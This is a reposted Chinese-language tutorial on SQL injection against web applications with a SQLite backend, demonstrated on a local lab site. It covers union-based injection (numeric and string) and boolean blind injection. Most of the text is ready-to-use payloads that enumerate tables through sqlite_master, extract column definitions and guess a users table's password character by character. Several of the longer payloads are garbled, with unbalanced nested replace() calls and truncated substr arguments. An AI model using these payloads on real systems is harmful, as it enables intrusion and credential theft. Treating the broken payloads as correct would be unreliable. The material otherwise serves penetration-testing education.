基于SQLite数据库的Web应用程序注入指南
本文转载自【技术分享】基于SQLite数据库的Web应用程序注入指南 概述SQL注入是造成网络世界巨大损失而臭名昭著的漏洞之一,研究人员已经发布了许多关于不同SQL服务的不同攻击技巧相关文章。对于MSSQL,MySQL和ORACLE数据库来说,SQL注入的payload一抓一大把。SQLite就比较不那么出名了,因此相关的SQL注入payload就比较少,如果你想攻击后端数据库为SQLite的服务器,那你就得去学习SQLite相关功能,然后构造出你自己的payload。因此,本文中我们将探讨两种关于SQLite的SQL注入攻击技巧。 实验环境为了实现基于SQLite的SQL注入,我们需要以下环境。 实施攻击1、基于联合查询的SQL注入(数字型)基于联合查询的SQL注入并不难,SQL查询直接去数据库中获取表名以及列名。让我们来试试基于联合查询的SQL注入(数字型)。 http://127.0.0.1/sqlite-lab/index.php?snumber=1
在尝试order by子句后,我们可以发现列数为5。 http://127.0.0.1/sqlite-lab/index.php?snumber=1 union select 1,2,3,4,5--
SELECT tbl_name FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
在漏洞应用程序里,如果我们构造像以下这样的链接,web应用将会在2这个位置显示所有表名。 http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(tbl_name),5 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,tbl_name,5 FROM sqlite_master where type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1
limit后面接的数字是为了获取行数,而offest后面接的数字则为第一次返回结果中的删除数。在上述查询中,limit提取了两个表名,然后第一个被offset删除掉,所以我们获得了第二个表名。类似的,为了获取第三个表名,只需要改变limit和offset为3跟2即可,即limit 3 offset 2。 union SELECT 1,sql,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name='table_name'
只要把上述查询中的table_name替换为你想要获取列名的相应表的表名即可,在本例中,我想获取info表的列名。 http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,5 FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' AND name ='info'
Select column_name from table_name
只要将column_name和table_name替换为你想要的名字就行了,在本例中表名为info,列名为OS。 select OS from info
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,OS,5 FROM info
http://127.0.0.1/sqlite-lab/index.php?snumber=1337 union SELECT 1,group_concat(OS,'~~'),5 FROM info
2、基于联合查询的SQL注入(字符型)字符型的基于联合查询的SQL注入与数字型的并没有太大差别,唯一的区别在于,用户的数据将被放入SQL分割符之间,我们将需要逃逸引号、括号等分隔符的闭合。在漏洞应用程序中有一处字符型的基于联合查询的SQL注入,注入点如下。 http://127.0.0.1/sqlite-lab/index.php?tag=ubuntu
为了利用该SQL注入,只需要在payload前加上’并在结束前加上– -,举个例子,要获取表名需要用到如下payload。 ' union select 1,5 FROM sqlite_master WHERE type IN('table','view') AND name NOT LIKE 'sqlite_%' -- -
http://127.0.0.1/sqlite-lab/index.php?tag=ubuntu' union select 1,5 FROM sqlite_master WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%' -- -
因此,字符型基于联合查询的SQL注入除了一点点调整以逃逸分隔符外,与数字型的并没有差别。 3、布尔型SQL盲注在本节中我们将讨论SQL盲注技巧。基于联合查询的注入简单而直接,但盲注就比较需要时间和技巧了。在开始之前,先鉴别下注入点是字符型还是数字型的,如果注入点是数字型,那我们需要做的调整和payload将如以下所示。 paramater=value and 2 < 3--
如果注入点是字符型的,那payload就长以下这样。 paramater=value' and 2 < 3-- -
paramater=value) and 2 < 3-- -
paramater=value') and 2 < 3-- -
如果SQL注入是字符型的,只要将你的payload放置到闭合分割符和– -之间。假设我们用来探测的语句是paramater=value) and 2 < 3– -,那么payload将被放置在value)和– -之间。现在,我们开始对数据库进行枚举,在本例中的index.php脚本中,POST参数tag存在布尔型的SQL盲注,一个可用请求如下。 http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu&search=Check+Plan
让我们开始吧! and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < number_of_table
用数字来替换number_of_table,现在就让我们在实验环境中测试吧,我们将判断数据库表单总数是否小于5,payload长这样。 and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) <5
然后注入的HTTP请求长以下这样。 http://127.0.0.1/sqlite-lab/index.php
POST request data
tag=ubuntu' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) < 5 -- -&search=Check+Plan
http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' ) =2 -- -&search=Check+Plan
确认了表单数量后,我们就一个接一个地猜解表名。 and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name not like 'sqlite_%' limit 1 offset 0)=table_name_length_number
此处,将table_name_length_number替换为数字,如以下我们确认第一个表名长度是否小于6的payload。 and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) < 6
通过fuzz,我们可以得到表名的长度,然后接着猜解下一个表名的长度,只需要增加limit和offset的值即可。 and (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 2 offset 1) = table_name_length_number
其余的payload则保持一致。接着,我们将通过如下payload猜解表名,在该payload中,我们将使用hex值来与表名中的字符进行对照。 and (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('some_char')
该payload提取表名然后提取其中字符,将其转换为hex表示,再跟我们猜测的值进行对比。hex(substr(name,1,1))函数从指定位置提取表名中的一个字符。在上述代码中,substr函数从位置1提取一个字符,再将其转换为hex形式。如果是hex(substr(name,3,1))则表示从第3位开始,截取一个字符。在payload最后,hex(‘some_char’)是我们需要猜测的指定表名字符,hex函数将会将其转换为hex值,这将会让我们的注入更加快速一些。一旦我们得到表名的第一个字符后,我们将继续猜解第二个字符,为了猜解下一个字符,我们需要改变substr函数中代表字符所在位置的数字。即hex(substr(name,1))中将1,1改为2,1,接着,我们再进行相同的步骤直到猜解完毕。让我们来看看具体情况,首先我们将猜解表名第一个字母是否大于a。 http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT hex(substr(tbl_name,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('a')-- -&search=Check+Plan
http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT hex(substr(tbl_name,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) > hex('k')-- -&search=Check+Plan
现在,页面响应与之前普通页面不一致了,即说明表名第一个字符不大于字母k。因此,通过上面两个请求,我们得出表名第一个字符在a和k之间。在多次尝试后,我们就可以将范围缩到两个前后为同一个字符,这时我们使用=来判断。 http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (SELECT hex(substr(tbl_name,1)) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%' limit 1 offset 0) = hex('i')-- -&search=Check+Plan
以上就是通过fuzz猜解表名的过程,为了继续猜解下一个字符,只需要将hex(substr(name,1))中的1,1即可,其余不变,然后就继续猜解直到完全猜解出来为止。 replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,'`')),"TEXT",''),"INTEGER","AUTOINCREMENT","PRIMARY KEY","UNIQUE","NUMERIC","REAL","BLOB","NOT NULL",",","`","")
hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,instr(sql,'(')%2b1)),instr((substr(sql,'`')),''),'~~'),""),column-name_character_numer,1))
你只需要将上面payload中的column-name_character_numer替换为相应的数字即可,比如想要猜解列名列表中的第一个字符,你只需将其替换为1。本例中的SQL盲注payload如下。 and (select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,""),1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info') < hex('Character_we_are_guessing')
将Character_we_are_guessing替换为想要猜解的字符即可,就像下面示例,hex(‘q’)表示我们想要确认第一个字符是否在q之前。 http://127.0.0.1/sqlite-lab/index.php
POST body data
tag=ubuntu' and (select hex(substr(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr((substr(sql,1)) FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name NOT LIKE 'sqlite_%' and name='info') < hex('q')-- -&search=Check+Plan
页面内容与之前的一致,即列名第一个字符在q之前。后续步骤与前面猜解表名类似。 and (Select hex(substr(password,1)) from users limit 1 offset 0) > hex('k')
http://127.0.0.1/sqlite-lab/index.php
Post body data
tag=ubuntu' and (Select hex(substr(password,1)) from users limit 1 offset 0) >hex('a')-- -&search=Check+Plan
(编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |